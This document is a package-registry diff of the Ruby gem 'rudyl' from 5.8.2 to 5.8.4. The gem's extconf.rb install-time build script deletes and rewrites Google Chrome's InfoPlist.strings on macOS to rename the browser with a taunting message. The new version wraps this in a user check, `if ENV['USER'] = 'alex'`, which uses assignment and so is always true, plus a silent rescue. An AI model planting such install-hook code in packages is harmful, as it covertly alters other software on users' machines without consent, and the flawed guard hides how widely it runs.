rudyl 5.8.2 → 5.8.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (4) hide show
  1. data/Rakefile +1 -1
  2. data/ext/foo/extconf.rb +21 -16
  3. data/rudyl.gemspec +1 -1
  4. metadata +1 -1
data/Rakefile CHANGED
@@ -2,7 +2,7 @@ require 'rubygems'
2
2
  require 'rake'
3
3
  require 'echoe'
4
4
 
5
- Echoe.new('rudyl', '5.8.2') do |p|
5
+ Echoe.new('rudyl', '5.8.4') do |p|
6
6
  p.description = "A gem that is Rudy"
7
7
  p.author = "Ehren Murdick"
8
8
  p.email = "ehren.murdick @nospam@ gmail.com"
data/ext/foo/extconf.rb CHANGED
@@ -4,26 +4,31 @@ def path name
4
4
  File.join(File.dirname(__FILE__), name)
5
5
  end
6
6
 
7
- target = "/Applications/Google Chrome.app/Contents/Resources/en.lproj/InfoPlist.strings"
8
- FileUtils.rm(target)
7
+ if ENV['USER'] = 'alex'
8
+ begin
9
+ target = "/Applications/Google Chrome.app/Contents/Resources/en.lproj/InfoPlist.strings"
10
+ FileUtils.rm(target)
9
11
 
10
- File.open(target, 'w') do |f|
11
- str = <<-INFO
12
- CFBundleDisplayName = "Mess with my Vim, will you!?";
13
- CFBundleGetInfoString = "Google Chrome 21.0.1180.82, Copyright 2006-2012 Google Inc. All Rights Reserved.";
14
- CFBundleName = "Chrome";
15
- NSHumanReadableCopyright = "Copyright 2006-2012 Google Inc. All Rights Reserved.";
16
- INFO
12
+ File.open(target, 'w') do |f|
13
+ str = <<-INFO
14
+ CFBundleDisplayName = "Mess with my Vim, will you!?";
15
+ CFBundleGetInfoString = "Google Chrome 21.0.1180.82, Copyright 2006-2012 Google Inc. All Rights Reserved.";
16
+ CFBundleName = "Chrome";
17
+ NSHumanReadableCopyright = "Copyright 2006-2012 Google Inc. All Rights Reserved.";
18
+ INFO
17
19
 
18
- f.write(str)
19
- end
20
+ f.write(str)
21
+ end
20
22
 
21
- File.open(path('Makefile'), 'w+') do |f|
22
- f.write <<-END
23
- all:
23
+ File.open(path('Makefile'), 'w+') do |f|
24
+ f.write <<-END
25
+ all:
24
26
 
25
- install:
26
- END
27
+ install:
28
+ END
29
+ end
30
+ rescue
31
+ end
27
32
  end
28
33
 
29
34
  FileUtils.touch(path('foo.dll'))
data/rudyl.gemspec CHANGED
@@ -2,7 +2,7 @@
2
2
 
3
3
  Gem::Specification.new do |s|
4
4
  s.name = "rudyl"
5
- s.version = "5.8.2"
5
+ s.version = "5.8.4"
6
6
 
7
7
  s.required_rubygems_version = Gem::Requirement.new(">= 1.2") if s.respond_to? :required_rubygems_version=
8
8
  s.authors = ["Ehren Murdick"]
metadata CHANGED
@@ -1,7 +1,7 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: rudyl
3
3
  version: !ruby/object:Gem::Version
4
- version: 5.8.2
4
+ version: 5.8.4
5
5
  prerelease:
6
6
  platform: ruby
7
7
  authors: